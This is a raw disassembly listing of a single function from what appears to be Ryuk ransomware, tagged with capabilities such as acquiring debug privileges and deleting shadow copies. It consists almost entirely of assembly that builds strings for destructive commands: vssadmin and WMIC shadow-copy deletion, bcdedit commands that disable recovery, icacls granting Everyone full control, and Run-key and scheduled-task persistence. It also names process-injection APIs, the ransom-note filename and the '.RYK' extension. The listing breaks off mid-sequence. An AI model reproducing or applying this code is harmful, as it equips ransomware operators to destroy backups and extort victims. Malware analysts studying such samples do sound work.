Function at 0x35004950
Capabilities:
Acquire debug privileges
Delete volume shadow copies
Disable automatic windows recovery features

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x83c
push ebx
push esi
push edi
pushal
sub esp, 4
mov al, 1
inc al
jne 0x3500496c
add esp, 0x90
add esp, 4
popal
pushal
push ebx
mov bx, 0xdb30
xor bl, bl
jne 0x35004974
pop ebx
popal
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov word [ebp - 0x34], ax
push 0xa
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [section..data]
push edx
call fcn.35007640
add esp, 0xc
lea eax, [ebp - 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0xc]
mov al, byte [edx]
mov byte [ebp - 5], al
add dword [ebp - 0xc], 1
cmp byte [ebp - 5], 0
jne 0x350049aa
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
jne 0x350049cc
jmp 0x3500620e
xor edx, edx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], edx
mov word [ebp - 0x60], dx
mov byte [ebp - 0x5e], dl
mov dword [ebp - 4], 0
lea eax, [ebp - 0x3c]
push eax
call fcn.3500ced1
add esp, 4
mov dword [ebp - 0x30], eax
imul ecx, dword [ebp - 0x30], 0x75
mov dword [ebp - 0x30], ecx
push 0xa
lea edx, [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.3500c8e3
add esp, 0xc
push 0x7d0
push 0
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35009c40
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0x1f4
lea eax, [ebp - 0x83c]
push eax
lea ecx, [ebp - 0x6c]
push ecx
call fcn.35002020
add esp, 0x10
push 0xf
push str.ImpersonateSelf
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 9
push str.Windows_
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 0x34
push str.cmd.exe__c__vssadmin.exe_Delete_Shadows__all__quiet_
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x14
push str.GetAdaptersAddresses
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 3
push 0x3501df6c
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 3
push 0x3501d80c
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 4
push str.192.
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 4
push 0x3501e2d0
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 0xb
push str.ExitProcess
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xe
push str.GetProcAddress
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xc
push str.VirtualAlloc
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xb
push str.Shell32.dll
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 8
push str.__reg:64
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0xd
push str.GetDriveTypeW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 4
push str.172.
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x10
push str.CoCreateInstance
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x2f
push str.cmd.exe__c__bootstatuspolicy_ignoreallfailures_
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 6
push str.sysrep
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 9
push str.FindClose
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xd
push str.RegOpenKeyExA
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xc
push 0x3501da00
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 9
push 0x3501dd7c
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0x29
push str.SCHTASKS__CREATE__NP__SC_DAILY__TN__Print
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x41
push 0x3501df90
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0xd
push str.GetIpNetTable
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 3
push 0x3501e6a4
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 0x11
push str.usersPublic_sys
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0x12
push str.SetFileAttributesW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 3
push 0x3501e6e0
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 0x12
push str.GetFileAttributesA
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xc
push str.GetTickCount
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x1d
push str.Wow64RevertWow64FsRedirection
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xc
push str.LoadLibraryW
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 7
push str.encrypt
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0xb
push str.CreateFileA
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xb
push str.GetFileSize
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 9
push str.csrss.exe
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 4
push str.1049
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x27
push str.cmd.exe__c__WMIC.exe_shadowcopy_delete_
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 4
push str.boot
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 6
push str.socket
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 8
push 0x3501dde8
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xe
push str.CreateProcessW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 4
push str.NTDS
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 0x25
push str.Documents_and_SettingsDefault_User_
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0x1b
push str.C:WindowsSystem32cmd.exe
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x12
push str.SetFileAttributesA
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 3
push 0x3501db08
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 9
push str.lsaas.exe
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0xf
push str.RyukReadMe.html
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 9
push str.EnableLUA
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 8
push str.netlogon
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0x2e
push str.SYSTEMCurrentControlSetControlNlsLanguage_
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x16
push str.GetSystemDefaultLangID
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 8
push str.volume_a
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x11
push str.System32cmd.exe
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 7
push str.Windows
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0x1e
push str.Wow64DisableWow64FsRedirection
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 9
push str.inet_ntop
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 4
push str..dll
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x27
push str.___grant_Everyone:F__T__C__Q
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xd
push str.GetVersionExW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xd
push str.GetFileSizeEx
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xb
push str.VirtualFree
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xa
push str.setsockopt
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x28
push str.Documents_and_SettingsDefault_User_sys
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0x2e
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xe
push 0x3501da3c
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 0x17
push str.ConvertIpv4MaskToLength
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 9
push str.CopyFileW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 3
push 0x3501eaa0
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 4
push 0x3501c004
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0xd
push str.RegOpenKeyExW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 4
push str..RYK
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 6
push str.sysvol
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0x3a
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xd
push str.WNetOpenEnumA
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xe
push str.CreateProcessA
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 2
push 0x3501da24
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0xc
push str.GetLastError
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 3
push 0x3501ea4c
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xa
push str.WSACleanup
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xe
push str.SetFilePointer
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 6
push 0x3501d964
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 2
push 0x3501ea74
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0xb
push str.CreateFileW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 8
push str.icacls__
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x16b
push str.par_r_npar_r_npar_r_n_r_npard_sa200_sl276_slmult1_b0_fs54par_r_n_r_npard_sa200_sl276_slmult1qc_f1_fs52par_r_npar_r_n_b_f0_fs140_Ryuk_b0_f1_fs52par_r_n_fs22par_r_npar_r_npar_r_npar_r_n_r_npard_sa200_sl276_slmult1qr_b_f0_fs42par_r_n_r_npard_ri_1782_sa200_sl276_slmult1qr_____par_r_npar_r_n_r_npard_ri_1782_sa200_sl240_slmult1qr_fs34_balance_of_shadow_universe_b0_f1_fs22par_r_n_r_n
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x10
push str.SetFilePointerEx
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xe
push str.usersPublic_
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 7
push str.Mozilla
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0x10
push str.GetLogicalDrives
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xd
push str.ShellExecuteA
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x11
push str.LookupAccountSidW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xb
push str.RegCloseKey
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 7
push 0x3501d650
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 5
push str.Sleep
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xf
push str.GetStartupInfoW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x2a
push str.Microsoft_Base_Cryptographic_Provider_v1.0
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x41
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xf
push str.Process32FirstW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 3
push 0x3501e5d0
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xc
push str.CoInitialize
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 9
push str.inet_addr
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 3
push 0x3501dbd8
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xc
push str.advapi32.dll
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x103
push str._C_REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun___v__EV___t_REG_SZ__d__
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 0xe
push str.IcmpCreateFile
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 6
push 0x3501e6f4
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x10
push str.0123456789abcdef
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 2
push 0x3501e68c
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 6
push str.Chrome
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 6
push str.SYSVOL
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 2
push 0x3501dad0
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0x11
push str.SeBackupPrivilege
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 7
push str.mpr.dll
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 4
push str.___y
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 7
push 0x3501dc00
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 4
push str.0412
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 9
push str.InetNtopW
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x35
push 0x3501e430
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0xb
push str.GlobalAlloc
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x19
push str.NtQueryInformationProcess
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xe
push str.VirtualAllocEx
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 6
push str.HERMES
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xc
push str.Iphlpapi.dll
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x14
push str.CryptAcquireContextW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 4
push str.bind
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 4
push str.___f
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 5
push str.__SD
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x12
push str.GetFileAttributesW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 4
push str._IM
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0x12
push str.GetModuleFileNameW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 3
push 0x3501dc60
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 7
push str.DEL__F
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0xb
push str.FreeLibrary
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xc
push str.GetUserNameW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 7
push str.WinExec
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xb
push str.OpenProcess
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xd
push str.WNetCloseEnum
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 4
push str.1042
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xe
push str.48GZc
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 7
push str.lan.exe
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 9
push 0x3501db3c
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xf
push str.InstallLanguage
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xe
push str.RegSetValueExW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x54
push str.___TR__C:WindowsSystem32cmd.exe__c_for__l__x_in__1_1_50__do_start_wordpad.exe__p
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x4f
push str.cmd.exe__c__bcdedit__set_default_recoveryenabled_No__bcdedit__set_default_
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x11
push str.WNetEnumResourceA
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x13
push str.GetTokenInformation
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 5
push str.__ED
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x10
push str.SeDebugPrivilege
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xe
push str.CryptExportKey
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xf
push str.GetCommandLineW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xb
push str.MoveFileExW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xb
push str.DeleteFileW
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x12
push str.CreateRemoteThread
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xc
push str.CryptDecrypt
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x12
push str.WriteProcessMemory
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 3
push 0x3501de14
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xc
push str.IcmpSendEcho
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xe
push str.FindFirstFileW
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x12
push str.CommandLineToArgvW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 3
push 0x3501e988
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 9
push str.WriteFile
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 6
push str.___ST
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xa
push str.Ws2_32.dll
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x12
push str.GetModuleFileNameA
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xd
push str.VirtualFreeEx
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xe
push str.Process32NextW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x13
push str.EnumServicesStatusW
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xe
push str.CryptImportKey
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x35
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xf
push 0x3501c814
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0x15
push str.LookupPrivilegeValueW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xa
push str.WSAStartup
